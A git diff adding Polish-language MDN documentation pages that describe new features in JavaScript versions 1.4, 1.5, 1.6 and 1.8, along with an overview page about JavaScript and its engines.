+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author: <a class="external" href="http://simon.incutio.com/">Simon Willison</a></li>
+ <li>Last Updated Date: March 7, 2006</li>
+ <li>Copyright: © 2006 Simon Willison, contributed under the Creative Commons: Attribute-Sharealike 2.0 license.</li>
+ <li>More information: For more information about this tutorial (and for links to the original talk's slides), see Simon's <a class="external" href="http://simon.incutio.com/archive/2006/03/07/etech">Etech weblog post</a>.</li>
+</ul>
+</div>
diff --git a/files/pl/web/javascript/new_in_javascript/index.html b/files/pl/web/javascript/new_in_javascript/index.html
new file mode 100644
index 0000000000..179a7ed557
--- /dev/null
+++ b/files/pl/web/javascript/new_in_javascript/index.html
@@ -0,0 +1,10 @@
+---
+title: New in JavaScript
+slug: Web/JavaScript/New_in_JavaScript
+tags:
+ - NeedsTranslation
+ - TopicStub
+translation_of: Archive/Web/JavaScript/New_in_JavaScript
+---
+<p>Follow the links below to get to know about new features in JavaScript:</p>
+<p>{{ tree('','1') }}</p>
diff --git a/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.5/index.html b/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.5/index.html
new file mode 100644
index 0000000000..74bbc59612
--- /dev/null
+++ b/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.5/index.html
@@ -0,0 +1,36 @@
+---
+title: Nowości w JavaScript 1.5
+slug: Web/JavaScript/New_in_JavaScript/Nowości_w_JavaScript_1.5
+tags:
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5
+---
+<p>Wersja 1.5 języka JavaScript została wzbogacona o nowe możliwości, takie jak:</p>
+
+<p><strong>Błędy czasu wykonania (runtime errors)</strong><br>
+ Błędy czasu wykonania są teraz zgłaszane jako wyjątki.</p>
+
+<p><strong>Udoskonalenie formatowania danych liczbowych</strong><br>
+ Nowe metody formatujące dane liczbowe: Number.prototype.toExponential, Number.prototype.toFixed i Number.prototype.toPrecision. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number">Obiekt Number</a>.</p>
+
+<p><strong>Usprawnienie wyrażeń regularnych</strong><br>
+ Dodane zostały poniższe rozszerzenia wyrażeń regularnych:</p>
+
+<ul>
+ <li>Kwantyfikatory — +, *, ? i {} — poprzez dodanie na ich końcu znaku ? można wymusić, aby były niezachłanne. Zobacz wpis na temat ? na stronie <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%c5%bcenia_regularnego#U.C5.BCywanie_znak.C3.B3w_specjalnych">Zapisywanie wzorca wyrażenia regularnego</a>.</li>
+ <li>Non-capturing parentheses, (?:x) can be used instead of capturing parentheses, (x). When non-capturing parentheses are used, matched subexpressions are not available as back-references. See the entry for (?:x) on the <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%c5%bcenia_regularnego#U.C5.BCywanie_znak.C3.B3w_specjalnych">Zapisywanie wzorca wyrażenia regularnego</a> page.</li>
+ <li>Positive and negative lookahead assertions are supported. Both assert a match depending on what follows the string being matched. See the entries for x(?=y) and x(?!y) on the <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%c5%bcenia_regularnego#U.C5.BCywanie_znak.C3.B3w_specjalnych">Zapisywanie wzorca wyrażenia regularnego</a> page.</li>
+ <li>Dodano flagę m określającą, że wyrażenie regularne powinno objąć wiele linii. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_wyra%c5%bceniami_regularnymi/Globalne_wyszukiwanie%2c_wielko%c5%9b%c4%87_znak%c3%b3w%2c_wieloliniowe_wej%c5%9bcie">Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście</a>.</li>
+</ul>
+
+<p><strong>Warunkowe deklaracje funkcji:</strong> Funkcje mogą być teraz deklarowane wewnątrz klauzuli <code>if</code>. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Definiowanie_funkcji">Definiowanie funkcji</a>.</p>
+
+<p><strong>Wyrażenia funkcyjne:</strong> Funkcje mogą być teraz deklarowane wewnątrz wyrażeń. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Definiowanie_funkcji">Definiowanie funkcji</a>.</p>
+
+<p>Wielokrotne klauzule <code>catch</code>: W jednym bloku <code>try...catch</code> może teraz występować wiele klauzul <code>catch</code>. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_obs%c5%82ugi_wyj%c4%85tk%c3%b3w/Instrukcja_try...catch#Blok_catch">Blok catch</a></p>
+
+<p><strong>Operacje dostępowe (gettery i settery):</strong> Programiści JavaScript mogą teraz stosować operacje dostępowe (tzw. getter i setter) dla tworzonych przez siebie obiektów. Ta możliwość jest dostępna tylko w implementacji JavaScriptu w języku C. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Definiowanie_metod_pobierania_i_ustawiania">Definiowanie metod pobierania i ustawiania</a>.</p>
+
+<p><strong>Stałe:</strong> Obsługiwane są nazwane stałe tylko do odczytu. Ta możliwość jest dostępna tylko w implementacji JavaScriptu w języku C. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Sta%c5%82e">Stałe</a>.</p>
diff --git a/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.6/index.html b/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.6/index.html
new file mode 100644
index 0000000000..514bec084f
--- /dev/null
+++ b/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.6/index.html
@@ -0,0 +1,62 @@
+---
+title: Nowości w JavaScript 1.6
+slug: Web/JavaScript/New_in_JavaScript/Nowości_w_JavaScript_1.6
+tags:
+ - E4X
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6
+---
+<p>
+</p><p>JavaScript 1.6 wprowadza nowe funkcje i technologie: E4X, kilka nowych metod <code>Array</code> oraz rodzajów Array i String.
+</p><p>JavaScript 1.6 jest obsługiwany w <a href="pl/Firefox_1.5">Firefoksie 1.5</a> i późniejszych.
+</p>
+<h3 id="E4X" name="E4X"> E4X </h3>
+<p>ECMAScript dla XML-a (<a href="pl/E4X">E4X</a>) jest potężną technologią dla tworzenia i przetwarzania treści <a href="pl/XML">XML</a> przez <a href="pl/JavaScript">JavaScript</a>. Będziemy dalej usprawniać naszą obsługę E4X, włączając dodanie przezroczystej integracji z istniejącym <a href="pl/DOM">DOM-em</a>, jednak programiści tworzący internetowe aplikacje XML mogą korzystać z obsługi E4X w Firefoksie 1.5 już teraz.
+</p><p>Możesz nadal używać standardowego typu MIME używając E4X:
+</p>
+<pre>&lt;script type="text/javascript"&gt;
+</pre>
+<p>Jednakże składnia E4X może powodować konflikty z popularnymi praktykami umieszczania skryptów w komentarzach HTML (<code><span class="nowiki">&lt;!--...--&gt;</span></code>) w celu ukrycia ich przed starymi przeglądarkami. E4X może również powodować konflikty z nowocześniejszą praktyką umieszczania skryptów w XML-owych sekcjach CDATA (<code>&lt;![CDATA{{ mediawiki.external('...') }}]&gt;</code>), aby umożliwić użycie symboli "&lt;" oraz "&gt;" w skryptach (zwróć uwagę, że nie dotyczy to HTML-a). Jeżeli napotkasz dziwne błędy składni, dodaj "; e4x=1" do wartości typu MIME:
+</p>
+<pre>&lt;script type="text/javascript; e4x=1"&gt;
+</pre>
+<p>Zwróć uwagę, że skrypty w rozszerzeniach zawsze traktują komentarze HTML jako literały E4X. To znaczy, że "e4x=1" jest domniemany.
+</p><p>E4X jest opisany w <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Przetwarzanie_XML_za_pomoc%c4%85_E4X">Przetwarzanie XML za pomocą E4X</a>
+</p>
+<h3 id="Dodatkowe_funkcje_obiektu_Array" name="Dodatkowe_funkcje_obiektu_Array"> Dodatkowe funkcje obiektu Array </h3>
+<p>Do obiektu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array">Array</a></code> zostało dodanych 7 nowych metod, które można podzielić na dwie kategorie: metody położenia elementów oraz metody iteratywne. Metody położenia elementów to:
+</p>
+<ul><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/indexOf">indexOf()</a></code> - zwraca indeks pierwszego wystąpienia danego elementu.
+</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/lastIndexOf">lastIndexOf()</a></code> - zwraca indeks ostatniego wystąpienia danego elementu.
+</li></ul>
+<p>Metody iteratywne to:
+</p>
+<ul><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/every">every()</a></code> - wywołuje funkcję na elementach tablicy, dopóki funkcja zwraca wartość true. Zwraca wartość true, jeśli funkcja zwraca true dla każdego odwiedzonego elementu. </li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/filter">filter()</a></code> - wywołuje funkcję na każdym elemencie tablicy i zwraca tablicę wszystkich elementów, dla których funkcja zwraca wartość true.
+</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/forEach">forEach()</a></code> - wywołuje funkcje na każdym elemencie tablicy.
+</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/map">map()</a></code> - wywołuje funkcję na każdym elemencie tablicy i zwraca wyniki w postaci tablicy.
+</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/some">some()</a></code> - wywołuje funkcję na elementach tablicy, dopóki funkcja zwraca wartość false. Zwraca wartość true, jeśli funkcja zwraca true dla każdego odwiedzonego elementu. </li></ul>
+<p>Więcej infomacji można znaleźć na stronie <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_tablicami#Wprowadzone_w_JavaScripcie_1.6">Praca z tablicami</a> lub w artykule Nicholasa C. Zakasa, <a class="external" href="http://www.webreference.com/programming/javascript/ncz/column4/index.html">Nowe metody Array Mozilli</a>.
+</p>
+<h3 id="Rodzaje_Array_i_String" name="Rodzaje_Array_i_String">Rodzaje Array i String</h3>
+<p>Czasami chcesz zastosować metody tablicy na łańcuchu znaków. Robiąc to traktujesz łańcuch znaków jako tablicę złożoną ze znaków. Przykładowo w celu sprawdzenia, czy wszystkie znaki w zmiennej <var>str</var> są literami, możesz użyć:</p>
+<pre>function isLetter(character) {
+ return (character &gt;= "a" &amp;&amp; character &lt;= "z");
+}
+
+if (Array.prototype.every.call(str, isLetter))
+ alert("Ciąg '" + str + "' składa się z samych liter!");
+</pre>
+<p>Taki zapis zajmuje stosunkowo dużo miejsca. JavaScript 1.6 wprowadza wygodne uproszczenie:</p>
+<pre>if (Array.every(str, isLetter))
+ alert("Ciąg '" + str + "' składa się z samych liter!");
+</pre>
+<p>W podobny sposób możesz łatwo zastosować metody obiektu String do dowolnego obiektu:</p>
+<pre>var num = 15;
+alert(String.prototype.replace(num, /5/, '2'));
+</pre>
+<p>Zobacz także <a href="/pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_tablicami#Praca_z_obiektami_tablicopodobnymi" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_tablicami#Praca_z_obiektami_tablicopodobnymi">Praca z obiektami tablicopodobnymi</a>.</p>
+<p> </p>
+<p> </p>
+
+<p>{{ languages( { "en": "en/New_in_JavaScript_1.6", "es": "es/Novedades_en_JavaScript_1.6", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.6", "ja": "ja/New_in_JavaScript_1.6", "ru": "ru/\u041d\u043e\u0432\u043e\u0435_\u0432_JavaScript_1.6", "zh-cn": "cn/New_in_JavaScript_1.6", "zh-tw": "zh_tw/JavaScript_1.6_\u65b0\u9bae\u4e8b" } ) }}</p>
diff --git a/files/pl/web/javascript/nowości_w_javascript_1.4/index.html b/files/pl/web/javascript/nowości_w_javascript_1.4/index.html
new file mode 100644
index 0000000000..cef8039309
--- /dev/null
+++ b/files/pl/web/javascript/nowości_w_javascript_1.4/index.html
@@ -0,0 +1,24 @@
+---
+title: Nowości w JavaScript 1.4
+slug: Web/JavaScript/Nowości_w_JavaScript_1.4
+tags:
+ - JavaScript
+ - JavaScript 1.4
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.4
+---
+<p><span class="hps">Funkcje, które</span> <span class="hps">zostały</span> <span class="hps">dodane w</span> <span class="hps">JavaScripcie 1.4</span> <span class="hps">obejmują:</span></p>
+
+<ul>
+ <li>Dodano <a href="/en/JavaScript/Guide/Obsolete_Pages/Exception_Handling_Statements" rel="internal" title="en/Core JavaScript 1.5 Guide/Exception Handling Statements">exception handling</a> (throw oraz try-catch)</li>
+ <li>Dodano operatory <code><a href="/en/JavaScript/Reference/Operators/in" rel="internal" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/in_Operator">in</a></code> oraz <code><a href="/en/JavaScript/Reference/Operators/instanceof" rel="internal" title="En/Core_JavaScript_1.5_Reference/Operators/Special_Operators/Instanceof_Operator">instanceof</a></code></li>
+ <li><a href="/en/LiveConnect" rel="internal" title="en/LiveConnect">LiveConnect</a></li>
+ <li><code>zmiany <a href="/en/JavaScript/Reference/Global_Objects/eval" rel="internal" title="En/Core_JavaScript_1.5_Reference/Global_Functions/Eval">eval</a> </code>(nie można używać pośrednio oraz usunięcie z metod <code>Object</code>)</li>
+ <li><code><a href="/en/JavaScript/Reference/Functions_and_function_scope/arguments" rel="internal" title="en/Core_JavaScript_1.5_Reference/Functions/arguments">arguments</a></code> nie jest już właściwością funkcji</li>
+ <li><code><font face="'Lucida Grande', 'Lucida Sans Unicode', Lucida, Arial, Helvetica, sans-serif"><span style="line-height: 19px;">Metodę uznano za przestarzałą </span></font><a href="/en/JavaScript/Reference/Global_Objects/Function/arity" rel="internal" title="En/Core_JavaScript_1.5_Reference/Objects/Function/Arity">Function.arity</a></code> na rzecz <code><a href="/en/JavaScript/Reference/Global_Objects/Function/length" rel="internal" title="en/Core_JavaScript_1.5_Reference/Objects/Function/length">Function.length</a></code></li>
+</ul>
+
+<h2 id="Odniesienia">Odniesienia</h2>
+
+<ul>
+ <li><a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.4/reference/frames.html" title="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.4/reference/frames.html">http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.4/reference/frames.html</a></li>
+</ul>
diff --git a/files/pl/web/javascript/nowości_w_javascript_1.8/index.html b/files/pl/web/javascript/nowości_w_javascript_1.8/index.html
new file mode 100644
index 0000000000..bee5db7813
--- /dev/null
+++ b/files/pl/web/javascript/nowości_w_javascript_1.8/index.html
@@ -0,0 +1,135 @@
+---
+title: Nowości w JavaScript 1.8
+slug: Web/JavaScript/Nowości_w_JavaScript_1.8
+tags:
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8
+---
+<div>{{ Fx_minversion_header(3) }}</div>
+
+<p>Obsługa języka JavaScript w wersji 1.8 ma zostać wprowadzona wraz z wydaniem silnika Gecko 1.9 (który ma się znaleźć w programie <a href="/pl/docs/Firefox_3_dla_programistów" title="Firefox_3_dla_programistów">Firefox 3</a>). Jest to aktualizacja mniej znacząca niż <a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a>; zmiany odpowiadają modyfikacjom dokonanym ostatnio w języku ECMAScript 4/JavaScript 2. W tym wydaniu zawarte będą wszystkie nowe funkcje wprowadzone w wydaniach <a href="/pl/docs/Nowości_w_JavaScript_1.6" title="Nowości_w_JavaScript_1.6">JavaScript 1.6</a> i <a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a>.</p>
+
+<p>Aby zapoznać się z postępem prac nad rozwojem obsługi języka JavaScript w wersji 1.8, zobacz {{ Bug(380236) }}.</p>
+
+<h3 id="Korzystanie_z_j.C4.99zyka_JavaScript_1.8" name="Korzystanie_z_j.C4.99zyka_JavaScript_1.8">Korzystanie z języka JavaScript 1.8</h3>
+
+<p>Aby skorzystać z nowych własności języka JavaScript 1.8 w kodzie HTML, należy użyć następującego kodu:</p>
+
+<pre class="eval"> &lt;script type="application/javascript;version=1.8"&gt; ... twój kod ... &lt;/script&gt;
+</pre>
+
+<p>W przypadku korzystania z <a href="/pl/docs/Wprowadzenie_do_powłoki_JavaScript" title="Wprowadzenie_do_powłoki_JavaScript">powłoki JavaScript</a>, komponentów XPCOM języka JavaScript lub elementów <code>&lt;script&gt;</code> w języku XUL automatycznie używana jest najnowsza wersja JS (JS1.8 w Mozilli 1.9); patrz {{ Bug(381031) }} i {{ Bug(385159) }}.</p>
+
+<p>W przypadku korzystania z funkcji, w których wymagane jest użycie nowych słów kluczowych <code>yield</code> i <code>let</code>, należy określić, że używana ma być wersja języka 1.7 lub nowsza — w istniejącym kodzie te słowa kluczowe mogą być bowiem nazwami zmiennych lub funkcji. Funkcje, w których nie wprowadzono nowych słów kluczowych (takie jak <a href="#Wyra.C5.BCenia_generator.C3.B3w">wyrażenia generatorów</a>), mogą być używane bez określania wersji języka JavaScript.</p>
+
+<h3 id="Domkni.C4.99cia_wyra.C5.BCe.C5.84" name="Domkni.C4.99cia_wyra.C5.BCe.C5.84">Domknięcia wyrażeń</h3>
+
+<p>Ta nowość to nic innego jak skrót do pisania prostych funkcji, dodający do języka konstrukcję podobną do <a class="external" href="http://pl.wikipedia.org/wiki/Rachunek_lambda">notacji lambda</a>.</p>
+
+<p><a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a> i starsze:</p>
+
+<pre class="eval"> function(x) { return x * x; }
+</pre>
+
+<p>JavaScript 1.8:</p>
+
+<pre class="eval"> function(x) x * x
+</pre>
+
+<p>Taka składnia pozwala pominąć nawiasy i wyrażenie <code>return</code> - są one dodawane automatycznie. Nie ma żadnej dodanej wartości w pisaniu z wykorzystaniem tej notacji, poza tym, że sam kod staje się krótszy.</p>
+
+<p><strong>Przykłady:</strong></p>
+
+<p>Skrót do podpinania nasłuchiwania zdarzeń:</p>
+
+<pre class="eval"> document.addEventListener("click", function() false, true);
+</pre>
+
+<p>Użycie nowej notacji w połączeniu z niektórymi funkcjami tablic z <a href="/pl/docs/Nowości_w_JavaScript_1.6" title="Nowości_w_JavaScript_1.6">JavaScript 1.6</a>:</p>
+
+<pre class="eval"> elems.some(function(elem) elem.type == "text");
+</pre>
+
+<h3 id="Wyra.C5.BCenia_generator.C3.B3w" name="Wyra.C5.BCenia_generator.C3.B3w">Wyrażenia generatorów</h3>
+
+<p>Ten dodatek pozwala na proste tworzenie generatorów (które opisano w <a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a>). Wcześniej konieczne byłoby stworzenie własnej funkcji zawierającej w sobie wyrażenie yield, jednak ten dodatek pozwala na użycie składni podobnej do <em>wyrażenia tablicowego/listowego</em> (ang. array/list comprehension) do stworzenia identycznego wyrażenia generatora.</p>
+
+<p>Wykorzystując <a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a> w celu stworzenia własnego generatora obiektu kod wyglądać mógłby następująco:</p>
+
+<pre class="eval"> function add3(obj) {
+
+ for ( let i in obj )
+ yield i + 3;
+ }
+
+ let it = add3(someObj);
+ try {
+ while (true) {
+ document.write(it.next() + "&lt;br&gt;\n");
+ }
+ } catch (err if err instanceof StopIteration) {
+ document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p>W JavaScript 1.8 można pominąć tworzenie własnej funkcji generatora wykorzystując w zamian następujące wyrażenie generatora:</p>
+
+<pre class="eval"> let it = (i + 3 for (i in someObj));
+ try {
+ while (true) {
+ document.write(it.next() + "&lt;br&gt;\n");
+ }
+ } catch (err if err instanceof StopIteration) {
+ document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p>Wyrażenia generatora mogą być także przesłane do funkcji jako wartości. To rozwiązanie jest szczególnie warte uwagi odkąd generatory uruchamiane są wyłącznie gdy są kategorycznie potrzebne (w przeciwieństwie do typowych sytuacji wykorzystujących wyobrażenie tablicy, gdzie tablice tworzone są wcześniej). Przykład pokazujący różnice w tych rozwiązaniach znaleźć można poniżej:</p>
+
+<p>Wykorzystując JavaScript 1.7 Wyrażenie Tablicowe</p>
+
+<pre class="eval"> handleResults([ i for ( i in obj ) if ( i &gt; 3 ) ]);
+
+ function handleResults( results ) {
+ for ( let i in results )
+ // ...
+ }
+</pre>
+
+<p>Wykorzystując JavaScript 1.8 Wyrażenia Generatora</p>
+
+<pre class="eval"> handleResults( i for ( i in obj ) if ( i &gt; 3 ) );
+
+ function handleResults( results ) {
+ for ( let i in results )
+ // ...
+ }
+</pre>
+
+<p>Znaczącą różnicą pomiędzy tymi dwoma przykładami jest to, iż dla wyrażeń generatora konieczne jest wykonanie pętli dla struktury 'obj' tylko raz, podczas gdy dla Wyrażenia Tablicowego konieczne jest wykonanie pętli raz w celu stworzenia wyobrażenia tablicy oraz drugi raz podczas iteracji po jej elementach.</p>
+
+<h3 id="Dodatkowe_zmiany_w_obiekcie_Array" name="Dodatkowe_zmiany_w_obiekcie_Array">Dodatkowe zmiany w obiekcie Array</h3>
+
+<p>W języku JavaScript 1.8 dostępne są dwie nowe metody iteracyjne obiektu <code><a href="/pl/docs/Dokumentacja_języka_JavaScript_1.5/Obiekty/Array" title="Dokumentacja_języka_JavaScript_1.5/Obiekty/Array">Array</a></code>:</p>
+
+<ul>
+ <li><code><a href="/pl/docs/Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/reduce" title="Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/reduce">reduce()</a></code> - wywołuje funkcję dla każdego elementu z tablicy i zachowuje wyniki z poprzednich wywołań.</li>
+ <li><code><a href="/pl/docs/Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/reduceRight" title="Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/reduceRight">reduceRight()</a></code> - wywołuje funkcję dla każdego elementu z tablicy i zachowuje wyniki z poprzednich wywołań, lecz w odwrotnej kolejności.</li>
+</ul>
+
+<h3 id="Changes_in_destructuring_for..in" name="Changes_in_destructuring_for..in">Zmiany z usuwaniem elementów tablicy w pętli for..in</h3>
+
+<p>TBD: mention <a href="/pl/docs/Nowości_w_JavaScript_1.7#Iterowanie_przez_obiekty" title="Nowości_w_JavaScript_1.7#Iterowanie_przez_obiekty">Nowości w JavaScript 1.7#Iterowanie przez obiekty</a> ({{ Bug(366941) }}).</p>
+
+<p><br>
+ <font><font face="Georgia, Times, Times New Roman, serif"><span style="font-size: 20px;"><strong>Nadchodzące zmiany</strong></span></font></font></p>
+
+<p><span style="line-height: inherit;">Zmiany w JavaScript 1.8 włączają również:</span></p>
+
+<ul>
+ <li>Kodowanie i dekodowanie danych w JSON.</li>
+ <li>Składnia funkcji Slice.</li>
+ <li>Generalized destructuring <code>for...in</code> (czy znaczy to coś innego niż <a href="#Changes_in_destructuring_for..in">#Changes in destructuring for..in</a> ? --<a href="/User:Nickolay" title="User:Nickolay">Nickolay</a> 10:52, 9 Wrzesień 2007 (PDT))</li>
+</ul>
diff --git a/files/pl/web/javascript/o_javascript/index.html b/files/pl/web/javascript/o_javascript/index.html
new file mode 100644
index 0000000000..26c921724f
--- /dev/null
+++ b/files/pl/web/javascript/o_javascript/index.html
@@ -0,0 +1,57 @@
+---
+title: O JavaScript
+slug: Web/JavaScript/O_JavaScript
+translation_of: Web/JavaScript/About_JavaScript
+---
+<div>{{JsSidebar}}</div>
+
+<h2 id="Co_to_jest_JavaScript">Co to jest JavaScript?</h2>
+
+<p><strong>JavaScript</strong><sup>®</sup> (w skrócie <strong>JS</strong>) jest lekkim, interpretowanym, zorientowanym obiektowo językiem z funkcjami <a href="https://en.wikipedia.org/wiki/First-class_function" title="https://en.wikipedia.org/wiki/First-class_function">pierwszej klasy</a>, i jest najbardziej znany jako język skryptowy dla stron sieci Web, ale jest także <a class="external" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">używany w wielu innych środowiskach niż przeglądarka</a>. It is a <a class="mw-redirect" href="https://en.wikipedia.org/wiki/Prototype-based_programming" title="Prototype-based">prototype-based</a>, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and functional programming styles.</p>
+
+<p>JavaScript działa po stronie klienta, co można wykorzystać w projektowaniu / programowaniu jak strona ma się zachowywać w przypadku wystąpienia jakiegoś zdarzenia. JavaScript jest łatwym do opanowania i jednocześnie potężnym językiem skryptowym, powszechnie używany do kontrolowania zachowania strony internetowej.</p>
+
+<p>Wbrew powszechnemu przekonaniu, <strong>JavaScript <em>nie </em>jest "zinterpretowaną Java"</strong>. W skrócie, JavaScript jest dynamicznym językiem skryptowym obsługującym prototypową konstrukcję obiektów. Podstawowa składnia jest celowo podobna zarówno do Java i C++, aby zmniejszyć liczbę nowych pojęć potrzebnych do nauki języka. Konstrukcje językowe, takie jak istrukcje <code>if</code> i <code>switch</code>, pętle <code>for</code> i <code>while</code>, oraz blok <code>try ... catch</code> funkcjonują tak samo w tych językach (lub bardzo podobnie).</p>
+
+<p>JavaScript może funkcjonować jako język <a class="external" href="https://en.wikipedia.org/wiki/Procedural_programming" title="https://en.wikipedia.org/wiki/Procedural_programming">proceduralny</a>, jak również <a class="external" href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript" title="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">język zorientowany obiektowo</a>. Obiekty w JavaScript są tworzone automatycznie, poprzez dołączenie metod i właściwości do pustego obiektów <strong>w czasie wykonywania</strong>, w przeciwieństwie do definicji składniowych klasy wspólnych zestawionych w językach takich jak C ++ i Java. Raz stworzony obiekt może być stosowany jako projekt (lub prototyp) do tworzenia podobnych obiektów.</p>
+
+<p>JavaScript's dynamic capabilities include runtime object construction, variable parameter lists, function variables, dynamic script creation (via <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval" title="en-US/docs/JavaScript/Reference/Global_Functions/eval">eval</a></code>), object introspection (via <code>for ... in</code>), and source code recovery (JavaScript programs can decompile function bodies back into their source text).</p>
+
+<p>For a more in depth discussion of JavaScript programming follow the <a href="#JavaScript_resources">JavaScript resources</a> links below.</p>
+
+<h2 id="What_JavaScript_implementations_are_available">What JavaScript implementations are available?</h2>
+
+<p>The Mozilla project provides two JavaScript implementations. The first <strong>ever</strong> JavaScript was created by Brendan Eich at Netscape, and has since been updated to conform to ECMA-262 Edition 5 and later versions. This engine, code named <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a>, is implemented in C/C++. The <a href="/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a> engine, created primarily by Norris Boyd (also at Netscape) is a JavaScript implementation written in Java. Like SpiderMonkey, Rhino is ECMA-262 Edition 5 compliant.</p>
+
+<p>Several major runtime optimizations such as TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) and IonMonkey were added to the SpiderMonkey JavaScript engine over time. Work is always ongoing to improve JavaScript execution performance.</p>
+
+<p>Besides the above implementations, there are other popular JavaScript engines such as:-</p>
+
+<ul>
+ <li>Google's <a class="external" href="https://code.google.com/p/v8/" title="https://code.google.com/p/v8/">V8</a>, which is used in the Google Chrome browser and recent versions of Opera browser. This is also the engine used by <a href="http://nodejs.org">Node.js</a>.</li>
+ <li>The <a class="external" href="https://www.webkit.org/projects/javascript/index.html" title="https://www.webkit.org/projects/javascript/index.html">JavaScriptCore</a> (SquirrelFish/Nitro) used in some WebKit browsers such as Apple Safari.</li>
+ <li><a class="external" href="http://my.opera.com/ODIN/blog/carakan-faq" title="http://my.opera.com/ODIN/blog/carakan-faq">Carakan</a> in old versions of Opera.</li>
+ <li>The <a class="external" href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29" title="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> engine used in Internet Explorer (although the language it implements is formally called "JScript" in order to avoid trademark issues).</li>
+</ul>
+
+<p>Each of Mozilla's JavaScript engines expose a public API which application developers can use to integrate JavaScript into their software. By far, the most common host environment for JavaScript is web browsers. Web browsers typically use the public API to create <strong>host objects</strong> responsible for reflecting the <a class="external" href="http://www.w3.org/DOM/">DOM</a> into JavaScript.</p>
+
+<p>Another common application for JavaScript is as a (Web) server side scripting language. A JavaScript web server would expose host objects representing a HTTP request and response objects, which could then be manipulated by a JavaScript program to dynamically generate web pages. <a href="http://nodejs.org">Node.js</a> is a popular example of this.</p>
+
+<h2 id="JavaScript_resources">JavaScript resources</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a></dt>
+ <dd>Information specific to Mozilla's implementation of JavaScript in C/C++ engine (aka SpiderMonkey), including how to embed it in applications.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a></dt>
+ <dd>Information specific to the JavaScript implementation written in Java (aka Rhino).</dd>
